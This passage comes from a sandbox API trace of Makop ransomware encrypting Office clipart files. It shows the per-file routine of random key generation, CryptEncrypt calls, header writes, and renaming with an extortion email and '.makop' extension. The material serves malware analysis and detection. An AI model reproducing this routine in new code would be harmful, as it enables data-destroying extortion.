dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0133.680] GetProcessHeap () returned 0x48a0000 [0133.680] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0133.680] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0133.680] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0133.681] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0133.685] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.685] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.685] GetProcessHeap () returned 0x48a0000 [0133.685] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0133.685] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0133.685] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.685] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0133.685] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.685] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0133.686] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0133.686] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0133.686] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0133.686] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.686] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.686] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.686] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7898, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7898, lpOverlapped=0x0) returned 1 [0133.688] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x78a0, dwBufLen=0x78a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x78a0) returned 1 [0133.688] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.688] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x78a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x78a0, lpOverlapped=0x0) returned 1 [0133.690] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.690] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7974, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.690] SetEndOfFile (hFile=0xf0) returned 1 [0133.697] GetProcessHeap () returned 0x48a0000 [0133.697] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0133.697] GetProcessHeap () returned 0x48a0000 [0133.697] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0133.697] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0133.697] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287018.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287018.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0133.699] CloseHandle (hObject=0xf0) returned 1 [0133.699] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x931a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287019.WMF", cAlternateFileName="")) returned 1 [0133.699] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF") returned 63 [0133.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287019.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0133.700] GetProcessHeap () returned 0x48a0000 [0133.700] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0133.700] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0133.700] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0133.700] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0133.704] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.704] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.704] GetProcessHeap () returned 0x48a0000 [0133.704] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0133.704] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0133.704] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.704] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0133.704] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.705] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0133.705] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0133.705] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0133.705] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0133.705] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.705] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.705] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.706] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x931a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x931a, lpOverlapped=0x0) returned 1 [0133.707] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9320, dwBufLen=0x9320 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9320) returned 1 [0133.708] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.708] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9320, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x9320, lpOverlapped=0x0) returned 1 [0133.708] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.708] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x93f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.709] SetEndOfFile (hFile=0xf0) returned 1 [0133.716] GetProcessHeap () returned 0x48a0000 [0133.716] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0133.716] GetProcessHeap () returned 0x48a0000 [0133.716] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0133.716] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0133.716] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287019.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287019.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0133.718] CloseHandle (hObject=0xf0) returned 1 [0133.718] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x80d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287020.WMF", cAlternateFileName="")) returned 1 [0133.718] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF") returned 63 [0133.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0133.719] GetProcessHeap () returned 0x48a0000 [0133.719] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0133.719] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0133.719] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0133.719] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0133.723] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.723] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.723] GetProcessHeap () returned 0x48a0000 [0133.724] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0133.724] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0133.724] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.724] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0133.724] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.724] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0133.724] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0133.724] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0133.725] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0133.725] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.725] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.725] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.725] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x80d8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x80d8, lpOverlapped=0x0) returned 1 [0133.730] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x80e0, dwBufLen=0x80e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x80e0) returned 1 [0133.730] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.730] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x80e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x80e0, lpOverlapped=0x0) returned 1 [0133.738] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.738] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x81b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.739] SetEndOfFile (hFile=0xf0) returned 1 [0133.745] GetProcessHeap () returned 0x48a0000 [0133.745] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0133.745] GetProcessHeap () returned 0x48a0000 [0133.745] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0133.745] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0133.745] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287020.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287020.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287020.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0133.747] CloseHandle (hObject=0xf0) returned 1 [0133.747] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc6d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287024.WMF", cAlternateFileName="")) returned 1 [0133.747] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF") returned 63 [0133.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287024.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0133.748] GetProcessHeap () returned 0x48a0000 [0133.748] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0133.748] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0133.748] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0133.748] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0133.753] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.753] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.753] GetProcessHeap () returned 0x48a0000 [0133.753] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0133.753] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0133.753] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.753] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0133.754] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.754] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0133.754] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0133.754] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0133.754] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0133.754] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.754] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.754] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.755] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xc6d2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xc6d2, lpOverlapped=0x0) returned 1 [0133.757] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc6e0, dwBufLen=0xc6e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc6e0) returned 1 [0133.757] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.757] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xc6e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xc6e0, lpOverlapped=0x0) returned 1 [0133.758] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.758] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xc7b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.758] SetEndOfFile (hFile=0xf0) returned 1 [0133.765] GetProcessHeap () returned 0x48a0000 [0133.765] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0133.765] GetProcessHeap () returned 0x48a0000 [0133.766] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0133.766] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0133.766] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287024.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287024.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0133.767] CloseHandle (hObject=0xf0) returned 1 [0133.767] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, 